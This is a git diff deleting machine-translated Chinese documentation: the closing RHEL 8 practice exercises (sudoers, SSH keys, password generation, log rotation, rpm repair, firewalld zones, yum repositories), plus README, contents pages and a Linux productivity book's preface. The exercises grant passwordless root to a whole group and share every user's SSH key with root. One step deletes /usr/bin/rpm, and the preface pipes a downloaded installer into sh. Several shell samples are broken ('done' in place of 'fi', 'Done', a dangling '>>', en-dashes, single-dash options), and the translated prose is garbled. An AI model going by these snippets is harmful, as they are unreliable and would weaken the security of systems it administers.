-``` - -## 【难点】 允许用户组中的所有用户在没有密码的情况下成为 root - -这可以通过几种方式实现,但由于所有用户都在`users`组中,我们可以添加该组: - -```sh -echo "%users ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers -``` - -## 【难点】 为每个用户创建 SSH 密钥,并将每个密钥添加到 root 和其他用户,以便每个用户可以像其他用户一样 SSH; 也就是说,没有密码 - -首先,让我们为每个用户创建键,并将键添加到 root: - -```sh -cat users.txt| while read -r line ; do -NEWHOME=$(echo ${line}|cut -d ";" -f 6|xargs) -mkdir -p ${NEWHOME}/.ssh/ -ssh-keygen -N '' -f ${NEWHOME}/.ssh/id_dsa -cat ${NEWHOME}/.ssh/id_dsa.pub >> /root/.ssh/authorized_keys -done -``` - -现在,让我们复制每个用户的授权密钥: - -```sh -cat users.txt| while read -r line ; do -NEWUSERNAME=$(echo ${line}|cut -d ";" -f 1|xargs) -NEWHOME=$(echo ${line}|cut -d ";" -f 6|xargs) -cp /root/.ssh/authorized_keys ${NEWHOME}/.ssh/ >> -chown -R ${NEWUSERNAME}:users ${NEWHOME}/.ssh/ -Done -``` - -验证用户可以像其他用户一样`ssh`: - -```sh -USERS=$(cat users.txt|cut -d ";" -f1|xargs) -for user in ${USERS}; -do -for userloop in ${USERS}; -do -su -c "ssh ${user}@localhost" ${userloop} -done -done -``` - -前面的命令应该对所有用户都有效,因为我们复制了`authorized_keys`,对吧? 但事实并非如此,因为有些用户禁用了他们的 shell。 - -## 禁用 SSH 系统的密码访问 - -编辑`/etc/ssh/sshd_config`,将`PasswordAuthentication`中的任意值替换为`no`。 - -然后重启`sshd`: - -```sh -systemctl restart sshd -``` - -## 【释义】 使用/dev/random 为每个用户设置不同的密码,并将密码存储在文件的第二个字段的 users.txt 文件中 - -从`/dev/random`中,我们可以获得随机数据,但它是二进制数据,所以如果我们想在以后登录时使用它,它可能是无效的。 我们可以对接收到的数据使用哈希函数并将其作为密码: - -```sh -MYPASS=$(dd if=/dev/urandom count=1024 2>&1|md5sum|awk '{print $1}') -``` - -这将是密码,不需要对其进行加密。 - -使用`usermod`,我们可以从其加密的种子中定义一个密码,因此我们将两者结合起来。 - -此外,我们被告知要将生成的密码存储在`users.text`中,因此我们需要编辑该文件。 - -但有一个问题:编辑`.txt`文件中的特定字段可能不容易,但我们可以完全重写它: - -```sh -cat users.txt| while read -r line ; do -MYPASS=$(dd if=/dev/random count=12>&1|md5sum|awk '{print $1}') -NEWUSERNAME=$(echo ${line}|cut -d ";" -f 1|xargs) -NEWUID=$(echo ${line}|cut -d ";" -f 3|xargs) -NEWGID=$(echo ${line}|cut -d ";" -f 4|xargs) -NEWNAME=$(echo ${line}|cut -d ";" -f 5|xargs) -NEWHOME=$(echo ${line}|cut -d ";" -f 6|xargs) -NEWSHELL=$(echo ${line}|cut -d ";" -f 7|xargs) -echo "${NEWUSERNAME};${MYPASS};${NEWUID};${NEWGID};${NEWNAME};${NEWHOME};${NEWSHELL}" >> newusers.txt -echo ${MYPASS} | passwd ${NEWUSERNAME} --stdin -done -cp newusers.txt users.txt -``` - -通过这种方式,我们通过添加所有字段将`users.txt`文件重写为一个新文件,并用我们的新副本覆盖`users.txt`。 - -循环中的最后一个命令从变量中读取密码并将其提供给`passwd`文件,该文件将在从`stdin`读取密码时加密并存储密码。 - -## 10。 如果用户名中的字母数是 2 的倍数,将这个事实添加到每个用户的 web 页面描述中 - -```sh -cat users.txt| while read -r line ; do -NEWUSERNAME=$(echo ${line}|cut -d ";" -f 1|xargs) -NEWHOME=$(echo ${line}|cut -d ";" -f 6|xargs) -LETTERSINNAME=$(( $(echo ${NEWUSERNAME}|wc -m) - 1 )) -if [ "$((${LETTERSINNAME} % 2 ))" == "0" ]; then -echo "My name is multiple of 2" >> ${NEWHOME}/public_html/index.htm -done -done -``` - -在本例中,我们重复了相同的字段计算,但是我们添加了`wc`命令来获取字符数量,并删除一个命令来调整其为字母数量。 - -在比较中,我们计算除以 2 的余数,所以当没有余数时,这意味着我们的字母数是 2 的倍数。 - -## 11.【难点】 创建一个运行 yq Python 包的容器 - -当我们阅读“Python 包”时,我们应该想到 PIP。 不建议在系统上直接使用 PIP,因为它可能会改变系统提供的 Python 库,最好为它使用一个虚拟环境。 或者,您可以使用一个容器将其隔离。 - -如[*第 17 章*](17.html#_idTextAnchor207)、*使用 Podman、Buildah 和 Skopeo 管理容器*中所述,最简单的方法是创建一个定义容器创建步骤的文件。 - -对于容器,如果系统中没有`podman`包和`container-tools`模块,则还需要安装它们。 - -因为这个文件是一个 Python 包,所以我们需要一个已经包含 Python 的容器; 例如:[https://catalog.redhat.com/software/containers/rhel8/python-38/5dde9cb15a13461646f7e6a2](https://catalog.redhat.com/software/containers/rhel8/python-38/5dde9cb15a13461646f7e6a2)。 - -因此,让我们创建一个包含以下内容的`Containerfile`(可在[https://github.com/PacktPublishing/Red-Hat-Enterprise-Linux-8-Administration/blob/main/chapter-19-exercise2/ContainerFile](https://github.com/PacktPublishing/Red-Hat-Enterprise-Linux-8-Administration/blob/main/chapter-19-exercise2/ContainerFile)获得): - -```sh -FROM registry.access.redhat.com/ubi8/python-38 -MAINTAINER RHEL8 Student -LABEL name="yq image" \ -maintainer="student _AT_ redhat.com" \ -vendor="Risu" \ -version="1.0.0" \ -release="1" \ -summary="yq execution container" \ -description="Runs yq" -ENV USER_NAME=risu \ -USER_UID=10001 \ -LC_ALL=en_US.utf8 -RUN pip3 install --upgrade pip --no-cache-dir && \ -pip3 install --upgrade yq --no-cache-dir -USER 10001 -VOLUME /data -ENTRYPOINT ["/opt/app-root/bin/yq"] -CMD ["-h"] -``` - -当与`podman build -t yq -f ContainerFile`结合使用时,它将使用 Python 拉动`ubi8`映像,这样我们就可以运行`pip3 install`命令来安装`yq`,然后将其赋值为`entrypoint`。 - -例如,如果我们定义一个无效的`entrypoint`(因为我们可能不知道程序安装在哪里),我们可以使用`podman run -it --entrypoint /bin/bash `。 我们可以通过运行`podman images`并检查系统中每个可用豆荚的生成日期来获得豆荚人 ID。 - -可以用`podman run –it `测试创建的容器,其中它将输出关于`yq`命令所做的事情的信息。 - -请注意,`yq`,正如其存储库中[https://github.com/kislyuk/yq](https://github.com/kislyuk/yq)所表示的,要求我们已经安装了`jq`命令,但是为了演示如何创建容器,我们故意省略了它。 - -## 12。 为不是 2 的倍数的用户配置密码老化,这样他们就会过期 - -```sh -cat users.txt| while read -r line ; do -NEWUSERNAME=$(echo ${line}|cut -d ";" -f 1|xargs) -NEWHOME=$(echo ${line}|cut -d ";" -f 6|xargs) -LETTERSINNAME=$(( $(echo ${NEWUSERNAME}|wc -m) - 1 )) -if [ "$((${LETTERSINNAME} % 2 ))" != "0" ]; then -chage -M 30 ${NEWUSERNAME} -done -done -``` - -这里,我们重复了第 10 题中的循环,但是把条件颠倒了。 由于没有关于我们可以使用的密码老化类型的要求,我们只需要定义需要更改密码的最大天数为`30 days`。 - -## 13.【翻译】 使用日期命名的文件为一个月的日志配置每日压缩日志旋转 - -首先,我们需要确保`logrotate`已经安装: - -```sh -dnf -y install logrotate -``` - -安装完成后,编辑`/etc/logrotate.conf`文件,使其包含以下内容: - -```sh -rotate 30 -daily -compress -dateext -``` - -我们需要确保没有定义其他时间段(每月、每周等等)。 - -## 14.【难点】 将当天的所有日志保存在“/root/errors.log”目录下 - -这有一个技巧:一些程序将记录到日志中,而一些程序将记录到`*.log`文件中。 - -今天的日期可以通过`+%Y-%m-%d`得到。 这种格式采用年-月-日格式,通常用于程序日志中: - -```sh -grep "$(date '+%Y-%m-%d')" -Ri /var/log/*.log|grep -i error > /root/errors.log -journalctl --since "$(date '+%Y-%m-%d')" >> /root/errors.log -``` - -通过这样做,我们把两个输出结合起来。 当然,我们可以尝试按日期对条目进行排序,以便它们相互关联,但请记住,第一个`grep`执行的是递归搜索,因此文件名被放在前面,使得排序更加困难。 - -## 15。 为系统库安装所有可用的更新 - -通常,系统库中包含`lib`子字符串,所以更新应该是运行以下命令的问题: - -```sh -dnf upgrade *lib* -``` - -由于它将请求确认,请检查列出的包以确保没有错误发生。 - -## 16.【翻译】 使用/root 文件夹中先前下载的包修复损坏的 rpm 二进制文件 - -这是一个棘手但有用的知识检查。 - -首先,让我们确保`rpm`包可用: - -```sh -yumdownloader rpm -``` - -使用以下命令验证文件是否存在: - -```sh -ls –l rpm*.rpm -``` - -检查文件,以确保我们有办法回去,以防我们打破它无法修复: - -```sh -rpm -qip rpm*.rpm -``` - -现在,让我们看看破坏性的行为,它将帮助我们验证我们正在解决这个问题: - -```sh -rm -fv /usr/bin/rpm -``` - -从这里看,就像*看,妈妈,没有手*… 没有可用的 RPM 来安装`rpm*.rpm`包,但是我们仍然需要安装它来解决这个问题。 - -`rpm`包被压缩`cpio`存档,所以我们可以使用以下命令: - -```sh -rpm2cpio rpm*.rpm |cpio –idv -``` - -这将提取压缩的`rpm`内容(不需要运行脚本)。 - -将未压缩的`rpm`文件移回`/usr/bin`: - -```sh -mv usr/bin/rpm /usr/bin/rpm -``` - -验证`rpm`的安装和运行: - -```sh -rpm –V rpm -``` - -它会抱怨。 说至少日期变了。 但是,如果下载的文件较新,它可能还更新了大小和 md5sum。 - -通过重新安装`rpm`包将系统移动到正常状态: - -```sh -rpm -i rpm*.rpm -``` - -这将使系统抱怨,因为包已经安装(它将声明它将覆盖`rpm`、`rpm2archive`、`rpm2cpio`、`rpmdb`、`rpmkeys`等等)。 - -如果`rpm`版本不同,我们可以用以下命令升级它: - -```sh -rpm -Uvh rpm*.rpm -``` - -然后,我们可以用下面的命令来验证: - -```sh -rpm –V rpm -``` - -对于数据库包含的内容,不应报告任何更改。 如果我们不能升级,我们可以使用`--force`参数来运行安装,告诉`rpm`可以继续并覆盖文件。 - -或者,一旦用`cpio`恢复了`rpm`二进制文件,我们可以使用以下命令: - -```sh -dnf –y reinstall rpm -``` - -另一种方法是从类似系统中使用`scp``rpm`二进制文件,或者使用救援介质。 - -## 让用户 doe 执行的所有进程以低优先级运行,而来自 john 的进程以更高优先级运行(+/- 5) - -我们没有办法将其设置为默认值,但是我们可以组合一个 cron 作业来实现这一点。 - -以根用户身份执行 crontab`-e`以编辑根用户的 crontab 并设置一个每分钟运行一次的任务: - -```sh -*/1 * * * * pgrep -u doe |xargs renice +5 -*/1 * * * * pgrep -u john|xargs renice -5 -``` - -这将对 john 和 doe 的所有 pid 使用`pgrep`,并通过`xargs`将它们提供给`renice`进程。 - -或者,我们可以使用以下内容: - -```sh -renice +5 $(pgrep -u doe) -``` - -这可以作为`xargs`命令的替代选项。 - -## 18.【释义】 使系统以最高的吞吐量和性能运行 - -`tuned`是一个系统守护进程,我们可以安装它来自动将一些众所周知的参数应用到我们的系统中,这些参数将成为我们以后特定优化的基础: - -```sh -dnf -y install tuned -systemctl enable tuned -systemctl start tuned -tuned-adm profile throughput-performance -``` - -## 更改系统网络接口,使其使用的 IP 地址高于它所使用的 IP 地址。 在同一接口上添加其他 IPv6 地址 - -使用`nmcli`检查当前系统 IP 地址: - -```sh -nmcli con show -``` - -输出应该如下: - -![Figure 19.1 – Output of nmcli con show ](img/B16799_19_001.jpg) - -图 19.1 - nmcli con 的输出显示 - -通过这个,我们可以找到正在使用和连接的系统接口。 假设它是`ens3`,它连接在名为`Wired Connection`的连接上。 - -让我们使用`nmcli con show "Wired Connection"|grep address`来查找当前地址。 - -例如,如果我们的地址是`10.0.0.6`,我们可以使用以下代码: - -```sh -nmcli con mod "Wired Connection" ipv4.addresses 10.0.0.7 -nmcli con mod "Wired Connection" ipv6.addresses 2001:db8:0:1::c000:207 -``` - -用以下命令验证: - -```sh -nmcli con show "Wired Connection"|grep address -``` - -## 20。 为所有用户创建/opt/mysystem/bin/到系统路径中 - -编辑`/etc/profile.d/mysystempath.sh`文件,放置以下内容: - -```sh -export PATH=${PATH}:/opt/mysystem/bin -``` - -为了验证这一点,将`+x`属性添加到文件中,并使用以下命令创建文件夹: - -```sh -chmod +x /etc/profile.d/mysystempath.sh -mkdir -p /opt/mysystem/bin -``` - -当执行以下命令时,重新登录用户应该显示新的路径: - -```sh -echo ${PATH} -``` - -## 21。 创建防火墙区域,将其分配给接口,并将其设置为默认区域 - -这是一个棘手的问题。 在这本书中,我们解释了如何查询区域和如何更改默认区域,甚至显示了管理防火墙的`cockpit`的屏幕截图,所以现在您是一个有经验的用户,这应该不难。 - -当你不知道如何做某事时,你需要做的第一件事是查看手册页面: - -```sh -man firewall-cmd -``` - -这并没有显示很多有趣的信息。 然而,在手册页的末尾,有一个叫做**SEE ALSO**的部分,在那里我们可以找到关于`firewalld.zones(5)`的信息。 这意味着我们可以检查手册的第 5 部分`firewalld.zones`。 - -我们通常不指定 section,因为可能不会有很多重复的部分,所以我们可以运行以下命令: - -```sh -man firewalld.zones -``` - -这指示我们检查`/usr/lib/firewalld/zones`和`/etc/firewalld/zones`中的默认值,所以让我们这样做: - -```sh -cp /usr/lib/firewalld/zones/public.xml /etc/firewalld/zones/dazone.xml -``` - -现在,让我们编辑名为`/etc/firewalld/zones/dazone.xml`的新复制文件,并将其名称从`Public`更改为`dazone`。 然后,我们需要重新加载防火墙: - -```sh -firewall-cmd -reload -``` - -让我们用下面的命令来验证新区域是否存在: - -```sh -firewall-cmd --get-zones -``` - -让我们把它设置为默认区域: - -```sh -firewall-cmd --set-default-zone=dazone -``` - -现在,添加默认接口(`ens3`): - -```sh -firewall-cmd --add-interface=ens3 --zone=dazone -``` - -它将会失败。 这是意料之中的,因为`ens3`已经被分配到一个区域(`public`)。 因此,让我们使用以下命令: - -```sh -firewall-cmd -remove-interface=ens3 --zone=public -firewall-cmd -add-interface=ens3 --zone=dazone -``` - -正如您所看到的,即使没有关于创建新区域的知识,我们已经能够使用我们关于查找信息的系统知识来实现这个目标。 - -## 添加一个托管在 https://myserver.com/repo/的存储库,GPG 密钥来自 https://myserver.com/mygpg.key,因为我们的服务器可能会宕机。 配置它,以便在不可用时可以跳过它 - -如果我们不记得存储库的语法,我们可以使用系统上的一个示例。 为此,转到`/etc/yum.repos.d/`,列出可用的文件,并选择一个文件创建一个包含以下内容的`myserver.repo`文件: - -```sh -[myserver] -name=My server repository -baseurl=https://myserver.com/repo/ -enabled=1 -gpgcheck=1 -gpgkey=https://myserver.com/mygpg.key -``` - -如果它不可用,我们怎么跳过它? 让我们查看`yum`的手册页。 同样,这里没有提供太多的信息,但是在**参见 ALSO**部分中指定了`man dnf.conf`。 这里列出了一个可能会帮助我们的布尔值,所以让我们把它添加到我们的`repofile`: - -```sh -skip_if_unavailable=1 -``` - -至此,我们已经完成了我们的目标。 \ No newline at end of file diff --git a/docs/rhel8-admin/README.md b/docs/rhel8-admin/README.md deleted file mode 100644 index 56eefb04..00000000 --- a/docs/rhel8-admin/README.md +++ /dev/null @@ -1,67 +0,0 @@ -# 红帽企业 Linux 8 管理 - -> 原文:[Red Hat Enterprise Linux 8 Administration](https://libgen.rs/book/index.php?md5=0CCDE6F20D3A1D212C45A9BF7E65144A) -> -> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) -> -> 阶段:机翻(1) -> -> 自豪地采用[谷歌翻译](https://translate.google.cn/) -> -> 这世界上有一种鸟是没有脚的,它只能够一直的飞呀飞呀,飞累了就在风里面睡觉,这种鸟一辈子只能下地一次,那一次就是它死亡的时候。——《阿飞正传》 - -* [在线阅读](https://linux.apachecn.org) -* [在线阅读(Gitee)](https://apachecn.gitee.io/apachecn-linux-zh/) -* [ApacheCN 学习资源](http://docs.apachecn.org/) - -## 目录 - -+ [笨办法学 Linux 中文版](docs/llthw-zh/SUMMARY.md) - -## 贡献指南 - -本项目需要校对,欢迎大家提交 Pull Request。 - -> 请您勇敢地去翻译和改进翻译。虽然我们追求卓越,但我们并不要求您做到十全十美,因此请不要担心因为翻译上犯错——在大部分情况下,我们的服务器已经记录所有的翻译,因此您不必担心会因为您的失误遭到无法挽回的破坏。(改编自维基百科) - -## 联系方式 - -### 负责人 - -* [飞龙](https://github.com/wizardforcel): 562826179 - -### 其他 - -* 在我们的 [apachecn/apachecn-linux-zh](https://github.com/apachecn/apachecn-linux-zh) github 上提 issue. -* 发邮件到 Email: `apachecn@163.com`. -* 在我们的 [组织学习交流群](http://www.apachecn.org/organization/348.html) 中联系群主/管理员即可. - -## 下载 - -### Docker - -``` -docker pull apachecn0/apachecn-linux-zh -docker run -tid -p :80 apachecn0/apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -### PYPI - -``` -pip install apachecn-linux-zh -apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -### NPM - -``` -npm install -g apachecn-linux-zh -apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -## 赞助我们 - -![](http://data.apachecn.org/img/about/donate.jpg) diff --git a/docs/rhel8-admin/SUMMARY.md b/docs/rhel8-admin/SUMMARY.md deleted file mode 100644 index 4c7e0562..00000000 --- a/docs/rhel8-admin/SUMMARY.md +++ /dev/null @@ -1,25 +0,0 @@ -+ [红帽企业 Linux 8 管理](README.md) -+ [零、前言](00.md) -+ [第一部分:系统管理——软件、用户、网络和服务管理](sec1.md) - + [一、安装 RHEL8](01.md) - + [二、RHEL8 高级安装选项](02.md) - + [三、基本命令和简单 Shell 脚本](03.md) - + [四、常规操作工具](04.md) - + [五、使用用户、组和权限保护系统](05.md) - + [六、启用网络连接](06.md) - + [七、添加、修补和管理软件](07.md) -+ [第二部分:SSH、SELinux、防火墙和系统权限的安全性](sec2.md) - + [八、远程管理系统](08.md) - + [九、使用防火墙保护网络连接](09.md) - + [十、使用 SELinux 加固你的系统](10.md) - + [十一、系统安全配置文件与 OpenSCAP](11.md) -+ [第三部分:资源管理——存储、引导过程、调优和容器](sec3.md) - + [十二、管理本地存储和文件系统](12.md) - + [十三、LVM 的灵活存储管理](13.md) - + [十四、基于分层和 VDO 的高级存储管理](14.md) - + [十五、了解引导过程](15.md) - + [十六、内核调优和管理性能配置文件](16.md) - + [十七、使用 Podman, Buildah 和 Skopeo 管理容器](17.md) -+ [第四部分:实践练习](sec4.md) - + [十八、实战练习 1](18.md) - + [十九、实战练习 2](19.md) diff --git a/docs/rhel8-admin/sec1.md b/docs/rhel8-admin/sec1.md deleted file mode 100644 index b38668b6..00000000 --- a/docs/rhel8-admin/sec1.md +++ /dev/null @@ -1,13 +0,0 @@ -# 第一部分:系统管理——软件、用户、网络和服务管理 - -部署和配置系统并使其保持最新是每个系统管理员在日常工作中执行的基本任务。 在本节中,我们将以一种重新构建的方式探讨这样做的核心部分,以便您可以逐个遵循任务,并正确地学习、实践和理解它们。 - -本节包括以下章节: - -* [*第 1 章*](01.html#_idTextAnchor014),*安装 RHEL8* -* [*第二章*](02.html#_idTextAnchor023)、*RHEL8 高级安装选项* -* [*第三章*](03.html#_idTextAnchor029)、*基本命令与简单 Shell 脚本* -* [*第四章*](04.html#_idTextAnchor059)、*常规操作工具* -* [*第五章*](05.html#_idTextAnchor081),*使用用户、组和权限保护系统* -* [*第六章*](06.html#_idTextAnchor096),*启用网络连通性* -* [*第七章*](07.html#_idTextAnchor111)、*软件添加、打补丁和管理* \ No newline at end of file diff --git a/docs/rhel8-admin/sec2.md b/docs/rhel8-admin/sec2.md deleted file mode 100644 index 8b3d62b0..00000000 --- a/docs/rhel8-admin/sec2.md +++ /dev/null @@ -1,10 +0,0 @@ -# 第二部分:SSH、SELinux、防火墙和系统权限的安全性 - -生产系统中的安全是系统管理员的直接责任。 为了处理这个问题,RHEL 包括 SELinux 等功能,这是一个集成的防火墙,当然还有标准的系统权限。 在本节中,我们将对 RHEL 中的安全机制进行全面的概述和理解,以便您能够执行日常维护任务。 - -本节包括以下章节: - -* [*第八章*](08.html#_idTextAnchor119),*系统远程管理* -* [*第九章*](09.html#_idTextAnchor135)、*通过防火墙保护网络连接* -* [*Chapter 10*](10.html#_idTextAnchor143),*Keeping Your System Hardened with SELinux* -* [*Chapter 11*](11.html#_idTextAnchor152),*System Security Profiles with OpenSCAP* \ No newline at end of file diff --git a/docs/rhel8-admin/sec3.md b/docs/rhel8-admin/sec3.md deleted file mode 100644 index a707b633..00000000 --- a/docs/rhel8-admin/sec3.md +++ /dev/null @@ -1,12 +0,0 @@ -# 第三部分:资源管理——存储、引导过程、调优和容器 - -管理运行 RHEL 的机器的资源对于性能、高效的 IT 环境至关重要。 了解存储、调优性能(包括使其永久存在于引导进程中所需的配置),然后使用容器来隔离进程并更有效地分配资源,这些都是系统管理员在日常工作中必然要涉及的领域。 - -本节包括以下章节: - -* [*第十二章*](12.html#_idTextAnchor160),*本地存储和文件系统管理* -* [*第 13 章*](13.html#_idTextAnchor169)、*LVM 灵活存储管理* -* [*第十四章*](14.html#_idTextAnchor184)、*基于 Stratis 和 VDO 的高级存储管理* -* [*第十五章*](15.html#_idTextAnchor194),*了解 Boot 进程* -* *内核调优和管理性能配置文件* -* [*第十七章*](17.html#_idTextAnchor207),*用 Podman, Buildah, Skopeo 管理容器* \ No newline at end of file diff --git a/docs/rhel8-admin/sec4.md b/docs/rhel8-admin/sec4.md deleted file mode 100644 index 8b3b493c..00000000 --- a/docs/rhel8-admin/sec4.md +++ /dev/null @@ -1,8 +0,0 @@ -# 第四部分:实践练习 - -本节包括复习前几节所学内容的实践练习。 它包括一个中级练习和一个更高级的练习,允许你评估你的进展。 - -本节包括以下章节: - -* [*第十八章*](18.html#_idTextAnchor223),*练习题- 1* -* [*第十九章*](19.html#_idTextAnchor266),*练习题- 2* \ No newline at end of file diff --git a/docs/work-with-linux/0.md b/docs/work-with-linux/0.md deleted file mode 100644 index 0a2104de..00000000 --- a/docs/work-with-linux/0.md +++ /dev/null @@ -1,122 +0,0 @@ -# 零、前言 - -我们的使命是将 Linux 用户从他们的低效习惯中拯救出来。 - -在这本书里,你会学到: - -* 最好使用的终端之一是什么(只是一个提示:你需要分屏功能)。 -* 剪贴板管理器如何记住你复制的东西,所以你不必。 -* 如何使用人类出现以来最伟大/最大/最智能:))的控制台编辑器。是的,是 Vim。我们将深入探究它的用处。 -* Zsh 及其令人敬畏的`oh-my-zsh`框架为开发者和生产力追求者提供了 200 多个插件。 -* 关于终端命令的大量课程:如何查找和替换文本、部分文本、微小的文本甚至非文本。 -* 如何使用管道和子 Shell 来创建自定义命令,以自动化日常任务。 -* 还有更多。这本书是为所有不熟悉 Linux 环境的程序员准备的。 - -但我们是谁? - -**Petru** :臭名昭著的拥有多年 Linux 经验的程序员。他打字疯狂,爱吃甜甜圈,脑子里装着 Linux!在发现 Linux 并每周通过不同的发行版切换之后,他用大量极客的东西惹恼了他的女朋友,现在他用极客谈话和科技世界的最新消息惹恼了每个人。 - -他花时间对前端、后端、数据库、Linux 服务器和云进行编码。 - -**波格丹一世**:逃兵!他浏览了 20 多个 Linux 和 Unix 发行版,包括 Plan 9、惠普-UX 和所有的 BSD。但是在他的女朋友因为他花太多时间在电脑前而离开他之后,他…换成了苹果。 - -现在,他花时间在他的 8 门在线课程上教一万多名学生。 - -我们将帮助您将终端生产力提高一倍! - -如果你不知道如何使用`sed`,如果你不太习惯`pipeing`命令,如果你使用默认终端,如果你还在使用 BASH,那么这本书就是为你准备的。 - -立即阅读,让您的终端工作效率翻倍! - -# 这本书涵盖了什么 - -[第 1 章](1.html "Chapter 1. Introduction")*简介*,介绍了转变用户体验所需的最基本工具。 - -[第二章](2.html "Chapter 2. Productive Shells – Reinvent the way you work")、*生产炮弹——重塑你的工作方式*,重塑你的工作方式。颜色、编辑器和自定义配置都是根据您的自定义需求定制的。 - -[第三章](3.html "Chapter 3. Vim kung fu")、 *Vim 功夫*,讲解终端战士之道。这包括配置和高级使用,以满足大多数需求。 - -[第 4 章](4.html "Chapter 4. CLI – The Hidden Recipe")*CLI–隐藏秘籍*展示了从优秀到卓越的不同方式,并将命令行功能提升到新的前沿。 - -[第 5 章](5.html "Chapter 5. Developers' Treasure")*开发者宝藏*解释了如何通过这些简单的黑客攻击最大化生产力。产生巨大差异的是那些小事。 - -[第六章](6.html "Chapter 6. Terminal Art")、*终端艺术*,让你准备好惊讶于创意可以用有限的资源做什么。这就是乐趣开始的地方。 - -# 这本书你需要什么 - -理想情况下,您可以为自己配备一个全新的 Ubuntu 操作系统,并在阅读时浏览示例。请记住,https://github.com/petruisfan/linux-for-developers 有一个 git 存储库。 - -继续在本地克隆它,以便可以使用项目的示例文件。 - -# 这本书是给谁的 - -这本书是为那些已经掌握了某种形式的基础知识,并且希望提高自己的技能并在命令行环境中变得更有效率的 Linux 用户编写的。它是为那些想要学习掌握使用技巧和诀窍的用户准备的,而不需要经历工具和技术的巨大开源海洋中的所有试验和错误。它是为那些希望在终端提示符下有宾至如归的感觉,并渴望从那里完成绝大多数任务的用户准备的。 - -# 惯例 - -在这本书里,你会发现许多区分不同种类信息的文本样式。以下是这些风格的一些例子和对它们的意义的解释。 - -文本中的码字、数据库表名、文件夹名、文件名、文件扩展名、路径名、伪 URL、用户输入和 Twitter 句柄如下所示:“打开终结器,键入`sudo apt install zsh`安装`zsh`,如所示。” - -代码块设置如下: - -```sh -case ${CMD} in - publicip) - print_public_ip - ;; - ip) - IFACE=$(getarg iface $@) - print_ip $IFACE - ;; - *) - echo "invalid command" -esac -``` - -任何命令行输入或输出都编写如下: - -```sh -sh -c "$(curl -fsSL https://raw.githubusercontent.com/robbyrussell/oh-my-zsh/master/tools/install.sh)" - -``` - -**新名词**和**重要词语**以粗体显示。你在屏幕上看到的单词,例如,在菜单或对话框中,出现在文本中,如下所示:“转到 shell 并启用**在当前目录**中打开新选项卡。” - -### 注 - -警告或重要提示会出现在这样的框中。 - -### 类型 - -提示和技巧是这样出现的。 - -# 读者反馈 - -我们随时欢迎读者的反馈。让我们知道你对这本书的看法——你喜欢或不喜欢什么。读者反馈对我们来说很重要,因为它有助于我们开发出你真正能从中获益的标题。 - -要给我们发送一般反馈,只需发送电子邮件`<[feedback@packtpub.com](mailto:feedback@packtpub.com)>`,并在您的邮件主题中提及书名。 - -如果你对某个主题有专业知识,并且对写作或投稿感兴趣,请参见我们位于[www.packtpub.com/authors](http://www.packtpub.com/authors)的作者指南。 - -# 客户支持 - -现在,您已经自豪地拥有了一本书,我们有许多东西可以帮助您从购买中获得最大收益。 - -## 勘误表 - -尽管我们尽了最大努力来确保我们内容的准确性,但错误还是会发生。如果你在我们的某本书里发现了错误——可能是文本或代码中的错误——如果你能向我们报告,我们将不胜感激。通过这样做,你可以让其他读者免受挫折,并帮助我们改进这本书的后续版本。如果您发现任何勘误表,请访问[http://www.packtpub.com/submit-errata](http://www.packtpub.com/submit-errata),选择您的书籍,点击**勘误表提交表**链接,并输入您的勘误表的详细信息。一旦您的勘误表得到验证,您的提交将被接受,勘误表将上传到我们的网站或添加到该标题勘误表部分下的任何现有勘误表列表中。 - -要查看之前提交的勘误表,请前往[https://www.packtpub.com/books/content/support](https://www.packtpub.com/books/content/support)并在搜索栏中输入图书名称。所需信息将出现在**勘误表**部分。 - -## 盗版 - -互联网上版权材料的盗版是所有媒体的一个持续问题。在 Packt,我们非常重视版权和许可证的保护。如果您在互联网上遇到任何形式的我们作品的非法拷贝,请立即向我们提供位置地址或网站名称,以便我们寻求补救。 - -请通过`<[copyright@packtpub.com](mailto:copyright@packtpub.com)>`联系我们,获取疑似盗版资料的链接。 - -我们感谢您在保护我们的作者方面的帮助,以及我们为您带来有价值内容的能力。 - -## 问题 - -如果您对本书的任何方面有问题,可以在`<[questions@packtpub.com](mailto:questions@packtpub.com)>`联系我们,我们将尽最大努力解决问题。 \ No newline at end of file diff --git a/docs/work-with-linux/1.md b/docs/work-with-linux/1.md deleted file mode 100644 index cd3c1855..00000000 --- a/docs/work-with-linux/1.md +++ /dev/null @@ -1,167 +0,0 @@ -# 一、概述 - -这本书被分成多个部分。在第 1 部分中,我们将探索一个新的终端,并向您展示如何安装和配置它。在第 2 部分中,我们将专注于配置您的 shell、添加插件、理解正则表达式以及使用管道和子 shell。然后,一切都将凝结成一个 shell 脚本课程。在第 3 部分中,我们将使用我们推荐的编辑器 Vim。我们将涵盖一切,从配置它,学习键盘快捷键,安装插件,甚至使用它作为密码管理器。让我们开始吧。 - -在下一章中,我们将学习以下主题: - -* 理解终结者的工作 -* 使用 Guake 执行快速命令或长时间运行的任务 -* 使用剪贴板复制粘贴文本 - -所以,我们将从一个终端开始,之后一切都将是疯狂的!当谈到在终端长时间工作时,我们的选择是使用终结者,因为它的快速和简单的分屏功能。然后,我们将重点关注 Guake,一个无论你在哪里都能快速打开的终端。最后,您将了解 Clipit 的工作原理,并有效地使用其复制和粘贴功能。 - -# 准备好了吗? - -我们将深入探讨 Linux 环境,为您提供提高工作效率、让您更好地使用命令行以及自动化您的任务的提示和技巧。 - -本书基于 Ubuntu Linux 版本,这是最新的长期支持版本。我们选择 Ubuntu 是因为它是最常见的 Linux 发行版,使用起来非常简单,有很多图形工具,你可以找到一个庞大的在线社区来回答你的所有问题。Ubuntu 也是最受支持的 Linux 发行版。这意味着,那些创建软件,尤其是图形软件,并为 Linux 提供这些软件的公司,通常从 Ubuntu 开始。 - -这使得我们更容易使用工具,如 Skype、Slack 或 Visual Studio Code。虽然这本书是基于 Ubuntu 的,但大多数命令都与 Ubuntu 无关,所以你可以很容易地使用另一个发行版并应用相同的课程。这本书的很大一部分甚至可以适用于 Mac,因为我们可以在 Mac 上安装相同的工具——bash、zsh、vim 在 Linux 和 Mac 上都以相同的方式工作——随着 Windows 10 的发布,bash 支持被内置,因此可以轻松安装和使用 zsh 和 vim 等工具。在 Windows 10 之前,有 cygwin 这样的工具可以让你在 Windows 环境中使用 Linux 命令行。 - -我们建议您在开放的终端中阅读和练习,这样您就可以执行命令并检查它们的结果。在我们开始之前,您需要从我们的 GitHub 